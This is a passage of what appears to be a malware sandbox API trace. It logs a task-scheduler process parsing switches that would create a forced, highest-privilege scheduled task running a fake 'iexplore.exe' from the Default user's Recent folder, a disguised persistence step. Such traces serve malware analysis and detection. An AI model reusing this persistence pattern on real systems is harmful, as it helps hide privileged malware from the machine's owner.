returned 0x2adcd0 [0153.311] GetProcessHeap () returned 0x290000 [0153.311] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2accc0 [0153.311] SetLastError (dwErrCode=0x0) [0153.311] SetLastError (dwErrCode=0x0) [0153.311] lstrlenW (lpString="/tr") returned 3 [0153.311] lstrlenW (lpString="-/") returned 2 [0153.311] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.311] lstrlenW (lpString="?") returned 1 [0153.311] lstrlenW (lpString="?") returned 1 [0153.311] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.311] lstrlenW (lpString="tr") returned 2 [0153.311] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.311] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.311] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.311] lstrlenW (lpString="|?|") returned 3 [0153.311] lstrlenW (lpString="|tr|") returned 4 [0153.311] SetLastError (dwErrCode=0x490) [0153.311] lstrlenW (lpString="create") returned 6 [0153.311] lstrlenW (lpString="create") returned 6 [0153.311] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.311] lstrlenW (lpString="tr") returned 2 [0153.311] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.311] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.312] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.312] lstrlenW (lpString="|create|") returned 8 [0153.312] lstrlenW (lpString="|tr|") returned 4 [0153.312] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0153.312] SetLastError (dwErrCode=0x490) [0153.312] lstrlenW (lpString="delete") returned 6 [0153.312] lstrlenW (lpString="delete") returned 6 [0153.312] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.312] lstrlenW (lpString="tr") returned 2 [0153.312] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.312] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.312] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.312] lstrlenW (lpString="|delete|") returned 8 [0153.312] lstrlenW (lpString="|tr|") returned 4 [0153.312] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0153.312] SetLastError (dwErrCode=0x490) [0153.312] lstrlenW (lpString="query") returned 5 [0153.312] lstrlenW (lpString="query") returned 5 [0153.312] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.312] lstrlenW (lpString="tr") returned 2 [0153.312] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.312] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.312] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.312] lstrlenW (lpString="|query|") returned 7 [0153.313] lstrlenW (lpString="|tr|") returned 4 [0153.313] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0153.313] SetLastError (dwErrCode=0x490) [0153.313] lstrlenW (lpString="change") returned 6 [0153.313] lstrlenW (lpString="change") returned 6 [0153.313] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.313] lstrlenW (lpString="tr") returned 2 [0153.313] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.313] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.313] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.313] lstrlenW (lpString="|change|") returned 8 [0153.313] lstrlenW (lpString="|tr|") returned 4 [0153.313] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0153.313] SetLastError (dwErrCode=0x490) [0153.313] lstrlenW (lpString="run") returned 3 [0153.313] lstrlenW (lpString="run") returned 3 [0153.313] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.313] lstrlenW (lpString="tr") returned 2 [0153.313] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.313] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.313] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.313] lstrlenW (lpString="|run|") returned 5 [0153.313] lstrlenW (lpString="|tr|") returned 4 [0153.313] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0153.313] SetLastError (dwErrCode=0x490) [0153.314] lstrlenW (lpString="end") returned 3 [0153.314] lstrlenW (lpString="end") returned 3 [0153.314] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.314] lstrlenW (lpString="tr") returned 2 [0153.314] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.314] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.314] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.314] lstrlenW (lpString="|end|") returned 5 [0153.314] lstrlenW (lpString="|tr|") returned 4 [0153.314] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0153.314] SetLastError (dwErrCode=0x490) [0153.314] lstrlenW (lpString="showsid") returned 7 [0153.314] lstrlenW (lpString="showsid") returned 7 [0153.314] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.314] lstrlenW (lpString="tr") returned 2 [0153.314] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.314] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.314] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|tr|") returned 4 [0153.314] lstrlenW (lpString="|showsid|") returned 9 [0153.314] lstrlenW (lpString="|tr|") returned 4 [0153.314] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0153.314] SetLastError (dwErrCode=0x490) [0153.314] SetLastError (dwErrCode=0x490) [0153.314] SetLastError (dwErrCode=0x0) [0153.314] lstrlenW (lpString="/tr") returned 3 [0153.314] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0153.314] SetLastError (dwErrCode=0x490) [0153.315] SetLastError (dwErrCode=0x0) [0153.315] lstrlenW (lpString="/tr") returned 3 [0153.315] GetProcessHeap () returned 0x290000 [0153.315] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x8) returned 0x2adcf0 [0153.315] GetProcessHeap () returned 0x290000 [0153.315] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2accf0 [0153.315] SetLastError (dwErrCode=0x0) [0153.315] SetLastError (dwErrCode=0x0) [0153.315] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.315] lstrlenW (lpString="-/") returned 2 [0153.315] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0153.315] SetLastError (dwErrCode=0x490) [0153.315] SetLastError (dwErrCode=0x490) [0153.315] SetLastError (dwErrCode=0x0) [0153.315] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.315] StrChrIW (lpStart="'C:\\Users\\Default\\Recent\\iexplore.exe'", wMatch=0x3a) returned=":\\Users\\Default\\Recent\\iexplore.exe'" [0153.315] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.315] GetProcessHeap () returned 0x290000 [0153.315] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ad500 [0153.315] _memicmp (_Buf1=0x2ad500, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.315] GetProcessHeap () returned 0x290000 [0153.315] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad520 [0153.315] GetProcessHeap () returned 0x290000 [0153.315] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ad540 [0153.315] _memicmp (_Buf1=0x2ad540, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.315] GetProcessHeap () returned 0x290000 [0153.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x50) returned 0x2add10 [0153.316] SetLastError (dwErrCode=0x7a) [0153.316] SetLastError (dwErrCode=0x0) [0153.316] SetLastError (dwErrCode=0x0) [0153.316] lstrlenW (lpString="'C") returned 2 [0153.316] lstrlenW (lpString="-/") returned 2 [0153.316] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0153.316] SetLastError (dwErrCode=0x490) [0153.316] SetLastError (dwErrCode=0x490) [0153.316] SetLastError (dwErrCode=0x0) [0153.316] lstrlenW (lpString="'C:\\Users\\Default\\Recent\\iexplore.exe'") returned 38 [0153.316] GetProcessHeap () returned 0x290000 [0153.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x4e) returned 0x2add70 [0153.316] GetProcessHeap () returned 0x290000 [0153.316] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd20 [0153.316] SetLastError (dwErrCode=0x0) [0153.316] SetLastError (dwErrCode=0x0) [0153.316] lstrlenW (lpString="/rl") returned 3 [0153.316] lstrlenW (lpString="-/") returned 2 [0153.316] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.316] lstrlenW (lpString="?") returned 1 [0153.316] lstrlenW (lpString="?") returned 1 [0153.316] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.316] lstrlenW (lpString="rl") returned 2 [0153.316] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.316] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.316] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.317] lstrlenW (lpString="|?|") returned 3 [0153.317] lstrlenW (lpString="|rl|") returned 4 [0153.317] SetLastError (dwErrCode=0x490) [0153.317] lstrlenW (lpString="create") returned 6 [0153.317] lstrlenW (lpString="create") returned 6 [0153.317] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.317] lstrlenW (lpString="rl") returned 2 [0153.317] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.317] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.317] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.317] lstrlenW (lpString="|create|") returned 8 [0153.317] lstrlenW (lpString="|rl|") returned 4 [0153.317] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0153.317] SetLastError (dwErrCode=0x490) [0153.317] lstrlenW (lpString="delete") returned 6 [0153.317] lstrlenW (lpString="delete") returned 6 [0153.317] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.317] lstrlenW (lpString="rl") returned 2 [0153.317] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.317] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.319] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.319] lstrlenW (lpString="|delete|") returned 8 [0153.319] lstrlenW (lpString="|rl|") returned 4 [0153.319] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0153.319] SetLastError (dwErrCode=0x490) [0153.319] lstrlenW (lpString="query") returned 5 [0153.319] lstrlenW (lpString="query") returned 5 [0153.319] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.319] lstrlenW (lpString="rl") returned 2 [0153.319] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.319] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.319] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.319] lstrlenW (lpString="|query|") returned 7 [0153.319] lstrlenW (lpString="|rl|") returned 4 [0153.319] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0153.319] SetLastError (dwErrCode=0x490) [0153.319] lstrlenW (lpString="change") returned 6 [0153.319] lstrlenW (lpString="change") returned 6 [0153.319] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.320] lstrlenW (lpString="rl") returned 2 [0153.320] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.320] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.320] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.320] lstrlenW (lpString="|change|") returned 8 [0153.320] lstrlenW (lpString="|rl|") returned 4 [0153.320] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0153.320] SetLastError (dwErrCode=0x490) [0153.320] lstrlenW (lpString="run") returned 3 [0153.320] lstrlenW (lpString="run") returned 3 [0153.320] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.320] lstrlenW (lpString="rl") returned 2 [0153.320] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.320] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.320] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.320] lstrlenW (lpString="|run|") returned 5 [0153.320] lstrlenW (lpString="|rl|") returned 4 [0153.320] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0153.320] SetLastError (dwErrCode=0x490) [0153.320] lstrlenW (lpString="end") returned 3 [0153.320] lstrlenW (lpString="end") returned 3 [0153.321] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.321] lstrlenW (lpString="rl") returned 2 [0153.321] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.321] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.321] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.321] lstrlenW (lpString="|end|") returned 5 [0153.321] lstrlenW (lpString="|rl|") returned 4 [0153.321] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0153.321] SetLastError (dwErrCode=0x490) [0153.321] lstrlenW (lpString="showsid") returned 7 [0153.321] lstrlenW (lpString="showsid") returned 7 [0153.321] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.321] lstrlenW (lpString="rl") returned 2 [0153.321] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.321] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.321] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|rl|") returned 4 [0153.321] lstrlenW (lpString="|showsid|") returned 9 [0153.321] lstrlenW (lpString="|rl|") returned 4 [0153.321] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0153.321] SetLastError (dwErrCode=0x490) [0153.321] SetLastError (dwErrCode=0x490) [0153.321] SetLastError (dwErrCode=0x0) [0153.322] lstrlenW (lpString="/rl") returned 3 [0153.322] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0153.322] SetLastError (dwErrCode=0x490) [0153.322] SetLastError (dwErrCode=0x0) [0153.322] lstrlenW (lpString="/rl") returned 3 [0153.322] GetProcessHeap () returned 0x290000 [0153.322] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x8) returned 0x2addd0 [0153.322] GetProcessHeap () returned 0x290000 [0153.322] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd50 [0153.322] SetLastError (dwErrCode=0x0) [0153.322] SetLastError (dwErrCode=0x0) [0153.322] lstrlenW (lpString="HIGHEST") returned 7 [0153.322] lstrlenW (lpString="-/") returned 2 [0153.322] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0153.322] SetLastError (dwErrCode=0x490) [0153.322] SetLastError (dwErrCode=0x490) [0153.322] SetLastError (dwErrCode=0x0) [0153.322] lstrlenW (lpString="HIGHEST") returned 7 [0153.322] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0153.322] SetLastError (dwErrCode=0x490) [0153.322] SetLastError (dwErrCode=0x0) [0153.322] lstrlenW (lpString="HIGHEST") returned 7 [0153.322] GetProcessHeap () returned 0x290000 [0153.323] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x10) returned 0x2ad560 [0153.323] GetProcessHeap () returned 0x290000 [0153.323] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acd80 [0153.323] SetLastError (dwErrCode=0x0) [0153.323] SetLastError (dwErrCode=0x0) [0153.323] lstrlenW (lpString="/f") returned 2 [0153.323] lstrlenW (lpString="-/") returned 2 [0153.323] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.323] lstrlenW (lpString="?") returned 1 [0153.323] lstrlenW (lpString="?") returned 1 [0153.323] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.323] lstrlenW (lpString="f") returned 1 [0153.323] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.323] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|?|") returned 3 [0153.323] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.323] lstrlenW (lpString="|?|") returned 3 [0153.323] lstrlenW (lpString="|f|") returned 3 [0153.323] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0153.323] SetLastError (dwErrCode=0x490) [0153.323] lstrlenW (lpString="create") returned 6 [0153.323] lstrlenW (lpString="create") returned 6 [0153.323] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.324] lstrlenW (lpString="f") returned 1 [0153.324] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.324] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|create|") returned 8 [0153.324] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.324] lstrlenW (lpString="|create|") returned 8 [0153.324] lstrlenW (lpString="|f|") returned 3 [0153.324] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0153.324] SetLastError (dwErrCode=0x490) [0153.324] lstrlenW (lpString="delete") returned 6 [0153.324] lstrlenW (lpString="delete") returned 6 [0153.324] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.324] lstrlenW (lpString="f") returned 1 [0153.324] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.324] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|delete|") returned 8 [0153.324] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.324] lstrlenW (lpString="|delete|") returned 8 [0153.324] lstrlenW (lpString="|f|") returned 3 [0153.324] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0153.324] SetLastError (dwErrCode=0x490) [0153.324] lstrlenW (lpString="query") returned 5 [0153.324] lstrlenW (lpString="query") returned 5 [0153.325] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.325] lstrlenW (lpString="f") returned 1 [0153.325] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.325] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|query|") returned 7 [0153.325] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.325] lstrlenW (lpString="|query|") returned 7 [0153.325] lstrlenW (lpString="|f|") returned 3 [0153.325] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0153.325] SetLastError (dwErrCode=0x490) [0153.325] lstrlenW (lpString="change") returned 6 [0153.325] lstrlenW (lpString="change") returned 6 [0153.325] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.325] lstrlenW (lpString="f") returned 1 [0153.325] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.325] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|change|") returned 8 [0153.325] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.325] lstrlenW (lpString="|change|") returned 8 [0153.325] lstrlenW (lpString="|f|") returned 3 [0153.325] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0153.326] SetLastError (dwErrCode=0x490) [0153.326] lstrlenW (lpString="run") returned 3 [0153.326] lstrlenW (lpString="run") returned 3 [0153.326] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.326] lstrlenW (lpString="f") returned 1 [0153.326] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.326] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|run|") returned 5 [0153.326] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.326] lstrlenW (lpString="|run|") returned 5 [0153.326] lstrlenW (lpString="|f|") returned 3 [0153.326] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0153.326] SetLastError (dwErrCode=0x490) [0153.326] lstrlenW (lpString="end") returned 3 [0153.326] lstrlenW (lpString="end") returned 3 [0153.326] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.326] lstrlenW (lpString="f") returned 1 [0153.326] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.326] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|end|") returned 5 [0153.326] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.326] lstrlenW (lpString="|end|") returned 5 [0153.326] lstrlenW (lpString="|f|") returned 3 [0153.326] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0153.326] SetLastError (dwErrCode=0x490) [0153.326] lstrlenW (lpString="showsid") returned 7 [0153.326] lstrlenW (lpString="showsid") returned 7 [0153.327] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.327] lstrlenW (lpString="f") returned 1 [0153.327] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.327] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|showsid|") returned 9 [0153.327] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f438 | out: _Buffer="|f|") returned 3 [0153.327] lstrlenW (lpString="|showsid|") returned 9 [0153.327] lstrlenW (lpString="|f|") returned 3 [0153.327] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0153.327] SetLastError (dwErrCode=0x490) [0153.327] SetLastError (dwErrCode=0x490) [0153.327] SetLastError (dwErrCode=0x0) [0153.327] lstrlenW (lpString="/f") returned 2 [0153.327] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0153.327] SetLastError (dwErrCode=0x490) [0153.327] SetLastError (dwErrCode=0x0) [0153.327] lstrlenW (lpString="/f") returned 2 [0153.327] GetProcessHeap () returned 0x290000 [0153.327] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x6) returned 0x2addf0 [0153.327] GetProcessHeap () returned 0x290000 [0153.327] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x20) returned 0x2acdb0 [0153.327] SetLastError (dwErrCode=0x0) [0153.327] GetProcessHeap () returned 0x290000 [0153.327] GetProcessHeap () returned 0x290000 [0153.327] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac1c0) returned 1 [0153.328] GetProcessHeap () returned 0x290000 [0153.328] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ac1c0) returned 0x8 [0153.328] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ac1c0 | out: hHeap=0x290000) returned 1 [0153.328] GetProcessHeap () returned 0x290000 [0153.328] GetProcessHeap () returned 0x290000 [0153.328] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2acbd0) returned 1 [0153.328] GetProcessHeap () returned 0x290000 [0153.328] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2acbd0) returned 0x20 [0153.328] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2acbd0 | out: hHeap=0x290000) returned 1 [0153.328] GetProcessHeap () returned 0x290000 [0153.328] GetProcessHeap () returned 0x290000 [0153.329] HeapValidate (hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad4c0) returned 1 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] RtlSizeHeap (HeapHandle=0x290000, Flags=0x0, MemoryPointer=0x2ad4c0) returned 0x14 [0153.329] HeapFree (in: hHeap=0x290000, dwFlags=0x0, lpMem=0x2ad4c0 | out: hHeap=0x290000) returned 1 [0153.329] GetProcessHeap () returned 0x290000 [0153.329] GetProcessHeap () returned 